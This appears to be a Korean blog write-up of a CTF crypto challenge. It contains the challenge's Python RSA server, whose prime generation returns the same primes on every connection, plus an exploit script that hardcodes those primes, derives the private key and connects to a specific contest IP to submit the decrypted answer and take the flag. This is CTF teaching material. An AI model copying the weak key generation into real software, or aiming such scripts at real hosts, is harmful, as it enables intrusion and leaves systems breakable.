# - https://en.wikibooks.org/wiki/Algorithm_Implementation/Mathematics/Extended_Euclidean_algorithm
#=====================================================================================

def GeneratePrime(Base, randomST):
    while True:
        k1 = mpz_urandomb(randomST, 1023)
        k2 = k1 + mpz_urandomb(randomST, 1023)

        #Add Random Number to Bignumber, then find next prime number
        p1 = next_prime(Base+k1)
        p2 = next_prime(Base+k2)
        #Prime Checking
        if is_prime(p1, 100) and is_prime(p2, 100):
            return [p1, p2]

def GenerateKeys(p, q):
    e = 65537
    n = p * q
    pin = (p-1)*(q-1)
    d = mulinv(e, pin)
    return [e, d, n]


def MakeRandomString():
    return ''.join(random.choice(string.lowercase+string.uppercase+string.digits) for i in xrange(32))

def PrintIntro(conn):
    conn.send("ggggg\n")


Flag = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"

def ClinetHandle(conn):
    TimeLimit = 1
    randomST = random_state()
    #Make Big Number with 2048 bits
    BaseNumber = (mpz(2) ** mpz(2048)) + mpz_urandomb(randomST, 512)
    if True:
        PrintIntro(conn)
        conn.send("Generating Keys... Wait some seconds\n")
        sleep(1)

        p, q = GeneratePrime(BaseNumber, randomST)
        #sleep is for resting of server
        sleep(1)

        PublicKey, PrivateKey, N = GenerateKeys(p, q)
        #sleep is for resting of server
        sleep(1)

        Data = MakeRandomString()
        Data = int(Data.encode('hex'),16)

        EncryptedData = powmod(Data, PublicKey, N)
        conn.send("Key Generating is Ended\n")
        conn.send("Encrypted Data : %d\nPublic Key : %d\nN : %d\n" % (EncryptedData, PublicKey, N))

        s_time = time()
        Answer = conn.recv(1500)
        e_time = time()

        #Time Out
        if e_time - s_time > TimeLimit:
            conn.send("Time Out!!!!!\n")
            conn.close()
            return

        #Answer is OK
        if int(Answer) == Data:
            conn.send(Flag+"\n")
            conn.close()
            return
        conn.send("You are Wrong!!!!!!\n")
        conn.close() 
        return
    else:
        conn.close()
        print "SOCKET ERROR"
        return

PORT = 40002
serverSocket = socket()

try:
    serverSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    serverSocket.bind(('', PORT))
except error as msg:
    print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
    sys.exit()

serverSocket.listen(30)

while 1:
    try:
        conn, addr = serverSocket.accept()
    except socket.error:
        break
    print 'Connected with ' + addr[0] + ':' + str(addr[1])
    t = threading.Thread(target = ClinetHandle, args=(conn,))
    t.start()        

serverSocket.close()

위 파이쎤 서버 소스코드를 간단하게 분석해보면 gmpy2모듈을 import한 후 random_state()함수를 이용하여 random state를 세팅한다.

그리고 line number 66 에서 GeneratePrime(BaseNumber, randomST)함수를 이용하여 pq를 생성하는데, 이 때 BaseNumber의 값이 너무 커서 pq의 값이 항상 일정한 것을 확인할 수 있다.

사실 대회때 풀때는 nc로 해당 IP의 서비스 포트로 접속해보았더니 N 값이 아래 그림과 같이 항상 같은 것을 알 수 있었다.

이를 통해 p, q의 값이 계속 같은 값으로 세팅될 것이라 생각하고 server.py를 로컬에서 돌린 후 조금 수정하여 line number 39GenerateKeys()함수에 p, q를 프린트하는 코드를 집어넣었다.

그런식으로 p, q가 어떤 값인지 확인하였다. 따라서 Np, q 값을 구할 수 있었고 아래 exploit 코드를 통해 encrypted data를 복호화하여 plain data를 보내 flag를 획득할 수 있었다.

[Exploit code] – stupidrsa_exploit.PY

from gmpy2 import *
from pwn import *

p = 32317006071311007300714876688669951960444102669715484032130345427524655138867890893197201411522913463688717960921898019494119559150490921095088152386448283120630877367300996091750197750389652106796057638384067568276792218642619756161838094338476170470581645852036305042887575891541065808607552399123930385521954285833276606292740174507176908054077273016103644389803261062635470374515595892199454891155463898488297024308700957247533881208055894474582694028535079545281620566442541400114261729854235365927395115457109476960042332821732358509197923144094801013581965651112146928918286923938064987973879624251895591220179
q = 32317006071311007300714876688669951960444102669715484032130345427524655138867890893197201411522913463688717960921898019494119559150490921095088152386448283120630877367300996091750197750389652106796057638384067568276792218642619756161838094338476170470581645852036305042887575891541065808607552399123930385521990685772174514834944123086486002362345153147580453526134037171595087108668773961917317502849945855689432886442889958513294157709640362363734479327004391952407569596153273880472331909250263593691635107321048666489395316204775782962517724272901158130972610802371589601746375325078943967095960733617174538141999
N = 1044388881413152506691752710716624382579964249047383780384233483283953907971557456848826811934997558340890106714439262837987573438185793607263236087851365277945956976543709998340361590134383718314428070011855946226376318839397712745672334684344586617496807908705803704071284048740118609114467977783598029006690697600653450794402499073313655339553833700162307202013282630845566129486279002848586096254031476866169150792712561588286084912360489096086200722815030967777717184920678698120026611906420006892800629990673807045740381567965542428579442736758203240180858489936597121784161788543599325256723713897245258564131378894882215721032454483182663602447410406206605827169895576134734205640381165130412956991982982813624560781237251487840725883976219267677157563885355442227842754369664991260936611978646990570202470864911216177534982510459238429002261957146109354524074258091155400881651699324739110875426250103752411336489340207397621943251616715427383143672581025383482605402570803003488772623873903367163515172010706471506968810059433811270160224272718635182798462613003559659236641594639570465027376724958024431953464028003281075460976002320362078753623631924730508277339588386023508080515190999918781675629931130902752659976197821
phi = (p-1)*(q-1)
e = 65537

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

gcd, a, b = egcd(e, phi)
d = a

p = remote('52.175.158.46', 40002)
print p.recvline(); print p.recvline(); print p.recvline()
encrypted_data = p.recvline()[17:]; print encrypted_data

print p.recvline(); print p.recvline()
decrypted_data = powmod(int(encrypted_data), d, N)
decrypted_data_str = hex(decrypted_data)[2:].decode('hex')
print '[*] decrypted_data : ' + decrypted_data_str

p.send(str(decrypted_data)+'\n')
print p.recv(1024)

# ref1) http://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e
# ref2)

[Get Flag~~!!!]

flag: I_Love_Y0u_and_W3_Love_Y0u_Exc3pt_HER..TT

Written by Team. RebForPwn

이 블로그의 글은 개인적인 학습을 목적으로 작성된 내용이므로 사실과 다르거나 잘못 기재된 내용이 있을 수 있습니다. 올바르지 않은 내용이나 수정해야 할 사항이 있다면 park.uiseong@gmail.com으로 연락주시면 감사하겠습니다.